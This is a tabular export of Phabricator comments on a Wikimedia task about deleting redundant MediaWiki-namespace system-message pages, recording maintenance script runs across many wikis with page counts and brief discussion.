+667701,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVTjg8HA1EdYBLP_72ig} [2016-05-24T16:05:43Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki fiwikinews (T45917)",,,1464105943,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,151,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+644723,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQM0ZS2D0x0K5Df_Smj} [2016-04-12T23:32:22Z] <Krinkle>  mwscript deleteEqualMessages.php --wiki elwiki (T45917)",,,1460503942,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643887,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHoFN2gCrwkbTdl-Hq} [2016-04-11T23:20:28Z] <Krinkle> mwscript deleteEqualMessages.php --wiki idwiki (T45917)",,,1460416828,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643882,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHmQ5I1EdYBLP_7mNA} [2016-04-11T23:12:31Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zh_classicalwiki (T45917)",,,1460416352,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643814,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHOvKAD0x0K5Df_R_k} [2016-04-11T21:29:44Z] <Krinkle> mwscript deleteEqualMessages.php --wiki bgwikiquote (T45917)",,,1460410184,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643813,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHOuy9gCrwkbTdl-ET} [2016-04-11T21:29:42Z] <Krinkle> mwscript deleteEqualMessages.php --wiki frwikibooks (T45917)",,,1460410183,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643782,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHDv3n1EdYBLP_7mIC} [2016-04-11T20:41:43Z] <Krinkle> mwscript deleteEqualMessages.php --wiki plwiki (T45917)",,,1460407304,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643315,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQDoTWOD0x0K5Df_RpN} [2016-04-11T04:42:57Z] <Krinkle> mwscript deleteEqualMessages.php --wiki shwiki (T45917)",,,1460349777,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,145,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643298,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQCZCaKD0x0K5Df_RoZ} [2016-04-10T22:56:38Z] <Krinkle> mwscript deleteEqualMessages.php --wiki srwiki (T45917)",,,1460328999,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,144,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643291,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQCP56LgCrwkbTdl9qq} [2016-04-10T22:16:44Z] <Krinkle> mwscript deleteEqualMessages.php --wiki yowiki (T45917)",,,1460326604,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,144,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+643290,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQCLBWxgCrwkbTdl9qj} [2016-04-10T21:55:24Z] <Krinkle> mwscript deleteEqualMessages.php --wiki trwikimedia (T45917)",,,1460325324,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,144,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+640004,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPepXiHD0x0K5Df_P7O} [2016-04-04T00:21:39Z] <Krinkle> mwscript deleteEqualMessages.php --wiki ruwiki (T45917)",,,1459729299,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,144,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+639986,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPeRhqty3uubrspqdd0} [2016-04-03T22:37:29Z] <Krinkle> mwscript deleteEqualMessages.php --wiki eswiki --lang-code ca (T45917)",,,1459723049,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,143,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+639985,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPeRglHy3uubrspqddz} [2016-04-03T22:37:25Z] <Krinkle> mwscript deleteEqualMessages.php --wiki eswiki (T45917)",,,1459723046,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,143,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+637761,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVPLTHP8y3uubrspqcNy} [2016-03-31T06:11:38Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zh_min_nanwiki (T45917)",,,1459404699,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,143,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+634643,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVOnA0SngCrwkbTdl4Pi} [2016-03-24T05:05:22Z] <Krinkle> mwscript deleteEqualMessages.php --wiki zhwikiquote (T45917 , P1988)",,,1458795922,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,142,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+589555,"Delete all redundant ""MediaWiki"" pages for system messages","> Has this now all been done and resolved?
+
+Not that I know.",,,1452678979,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,132,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+589062,"Delete all redundant ""MediaWiki"" pages for system messages",Has this now all been done and resolved?,,,1452622160,,PHID-USER-lumvg23bxmfbvekr2fbo,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,132,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+570963,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#1841781, @Jdforrester-WMF wrote:
+> What is left to do here?
+
+Running on all wikis.",,,1449002935,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,126,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,1
+570773,"Delete all redundant ""MediaWiki"" pages for system messages",What is left to do here?,,,1448988458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,126,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+521819,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:
+
+```
+eowiki: 129 pages
+euwiki: 740 pages
+frpwiki: 2 pages
+frwiki: 48 pages
+huwiki: 7 pages
+kawiki: 777 pages
+ocwiki: 862 pages
+rowiki: 432 pages
+zhwiktionary: 143 pages
+fywiktionary: 65 pages
+pmswiki: 391 pages
+```",,,1441593011,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,114,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+521765,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:
+
+```
+eowiki: 129 pages
+euwiki: 740 pages
+frpwiki: 2 pages
+frwiki: 48 pages
+huwiki: 7 pages
+kawiki: 777 pages
+ocwiki: 862 pages
+rowiki: 432 pages
+zhwiktionary: 143 pages
+fywiktionary: 65 pages
+```",,,1441556987,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,113,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+515512,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:
+
+```
+eowiki: 129 pages
+euwiki: 740 pages
+frpwiki: 2 pages
+frwiki: 48 pages
+huwiki: 7 pages
+kawiki: 777 pages
+ocwiki: 862 pages
+rowiki: 432 pages
+zhwiktionary: 143 pages
+```",,,1440638349,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,112,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+515511,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:
+
+```
+eowiki: 129 pages
+euwiki: 740 pages
+frpwiki: 2 pages
+frwiki: 48 pages
+huwiki: 7 pages
+kawiki: 777 pages
+ocwiki: 862 pages
+rowiki: 432 pages
+```",,,1440638311,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,112,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+515178,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:
+
+```
+eowiki: 129 pages
+euwiki: 740 pages
+frpwiki: 2 pages
+frwiki: 48 pages
+huwiki: 7 pages
+kawiki: 777 pages
+ocwiki: 862 pages
+```",,,1440615416,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,112,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+514317,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for a few more wikis:
+
+```
+eowiki: 129 pages
+euwiki: 740 pages
+frpwiki: 2 pages
+frwiki: 48 pages
+huwiki: 7 pages
+kawiki: 777 pages
+```",,,1440521878,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,112,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0
+504971,"Delete all redundant ""MediaWiki"" pages for system messages",Maybe it can be used to clean old translations such as [[https://meta.wikimedia.org/w/index.php?title=Special%3AAllMessages&prefix=&filter=modified&lang=eu&limit=5000|these ones]] at Meta? (included other langs). Thread opened at Babel.,,,1439156148,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,109,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+474060,"Delete all redundant ""MediaWiki"" pages for system messages","Ran it for a two more wikis after inspecting the dry-run:
+
+```
+cewiki: 243 pages
+sawiki: 58 pages
+```",,,1434167492,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,101,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+455438,"Delete all redundant ""MediaWiki"" pages for system messages","Ran it for these wikis:
+```
+mediawikiwiki
+* [[MediaWiki:Wikilove-barnstar-resilient-desc]]
+* [[MediaWiki:Wikilove-barnstar-tireless-desc]]
+* [[MediaWiki:Code-referenced]]
+* [[MediaWiki:Rss-item]]
+
+nlwiki
+* [[MediaWiki:Logentry-block-block]]
+* [[MediaWiki:Logentry-block-unblock]]
+* [[MediaWiki:Centralauth-uwbr-name]]
+* [[MediaWiki:Centralauth-uwbr-registration]]
+* [[MediaWiki:Centralauth-uwbr-editcount]]
+* [[MediaWiki:Centralauth-uwbr-intro]]
+* [[MediaWiki:Sandboxlink-subpage-name]]
+* [[MediaWiki:Sandboxlink-portlet-label]]
+
+commonswiki: 0
+metawiki: 0
+```",,,1431010787,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,96,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+433104,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#1152012, @Krenair wrote:
+> Is there a reason we haven't done this on all wikis now?
+
+No good one. It's fine to proceed.",,,1427358499,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,90,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1
+433018,"Delete all redundant ""MediaWiki"" pages for system messages","Is there a reason we haven't done this on all wikis now?
+
+{P436}",,,1427334122,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,90,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+229180,"Delete all redundant ""MediaWiki"" pages for system messages","Ran for commonswiki per my own request there as sysop (could've deleted them by hand):
+
+
+> 279 pages in the MediaWiki namespace override messages.
+> 1 pages are equal to the default message (+ 0 talk pages).
+> 
+> List:
+> * [[MediaWiki:Visualeditor-ca-editsource]]",,,1409147479,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,60,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1
+229172,"Delete all redundant ""MediaWiki"" pages for system messages","Spread over the past two weeks, mwscript deleteEqualMessages.php was ran[1] on the following wikis while performing other routine maintenance and interface fixes:
+
+abwiki
+afwiki
+afwikiquote
+alswiki
+bat-smgwiki
+bpywiki
+cswiki
+cswikiversity
+cswiktionary
+cvwiki
+lnwiki
+nahwiktionary
+newwiki
+nlwiki
+rowiktionary
+simplewiki
+sqwiki
+suwiki
+tlwiki
+
+[1] https://wikitech.wikimedia.org/wiki/Server_admin_log",,,1399337202,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,44,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+229164,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to Nemo from comment #26)
+> Thanks! I'd suggest to avoid touching talk pages, so that the operation is
+> truly no-op. Those talk pages are unlikely to exist but wikis have different
+> policies on the matter.
+
+Good point. We have orphan tools to detect those and are indeed not always trivial/uncontroversial. Will keep them from now on.",,,1398283925,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,42,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+229157,"Delete all redundant ""MediaWiki"" pages for system messages","Thanks! I'd suggest to avoid touching talk pages, so that the operation is truly no-op. Those talk pages are unlikely to exist but wikis have different policies on the matter.",,,1398282173,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,42,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+229149,"Delete all redundant ""MediaWiki"" pages for system messages","Ran mwscript deleteEqualMessages.php --delete --delete-talk on the following wikis:
+
+* afwiki
+* amwiki
+* brwiki
+* euwiktionary
+* gvwiki
+* hrwiki
+* hrwiktionary
+* iawiki
+* miwiki
+* mlwiki",,,1398281729,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,42,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
